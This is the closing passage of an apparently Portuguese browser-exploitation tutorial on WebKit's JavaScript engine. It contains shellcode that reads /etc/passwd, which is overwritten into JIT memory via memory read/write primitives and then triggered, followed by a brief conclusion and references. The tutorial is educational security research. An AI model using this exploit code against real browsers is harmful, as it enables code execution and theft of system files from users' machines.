// Our shellcode var shellcode = [0xeb, 0x3f, 0x5f, 0x80, 0x77, 0xb, 0x41, 0x48, 0x31, 0xc0, 0x4, 0x2, 0x48, 0x31, 0xf6, 0xf, 0x5, 0x66, 0x81, 0xec, 0xff, 0xf, 0x48, 0x8d, 0x34, 0x24, 0x48, 0x89, 0xc7, 0x48, 0x31, 0xd2, 0x66, 0xba, 0xff, 0xf, 0x48, 0x31, 0xc0, 0xf, 0x5, 0x48, 0x31, 0xff, 0x40, 0x80, 0xc7, 0x1, 0x48, 0x89, 0xc2, 0x48, 0x31, 0xc0, 0x4, 0x1, 0xf, 0x5, 0x48, 0x31, 0xc0, 0x4, 0x3c, 0xf, 0x5, 0xe8, 0xbc, 0xff, 0xff, 0xff, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x41]

var s = "A".repeat(64); var strAddr = addrof(s); var strData = Add(memory.read64(Add(strAddr, 16)), 20);

// write shellcode shellcode.push(...strData.bytes()); memory.write(jitCodeAddr, shellcode);

// trigger and get /etc/passwd func(); print() #+end_example


  • Conclusão :PROPERTIES: :CUSTOM_ID: conclusion :END: Demonstramos a exploração da parte mais complicada do navegador - o motor JavaScript. No entanto, o navegador é enorme. Existem muitas outras superfícies de ataque, como DOM e WASM. Alguns pesquisadores também encontram bugs no banco de dados SQL usado pelos navegadores que podem ser transformados em RCE. Seja paciente e criativo.

  • Referências :PROPERTIES: :CUSTOM_ID: references :END:
  • /Groß S/, 2018, Black Hat USA, /"Attacking Client-Side JIT Compilers"/
  • /Han C/, [[https://github.com/tunz/js-vuln-db/][/"js-vuln-db"/]]
  • /Gianni A/ and /Heel1an S/, /"Exploit WebKit Heap"/
  • /Filip Pizlo/, http://www.filpizlo.com, Obrigado por muitas apresentações!
  • /Groß S/, 2018, 35C3 CTF /WebKid Challenge/
  • /dwfault/, 2018, [[http://dwfault-blog.imwork.net:30916/2019/01/03/WebKit%20JavaScriptCore%E7%9A%84%E7%89%B9%E6%AE%8A%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7/][/WebKit Debugging Skills/]]
Baixar ferramenta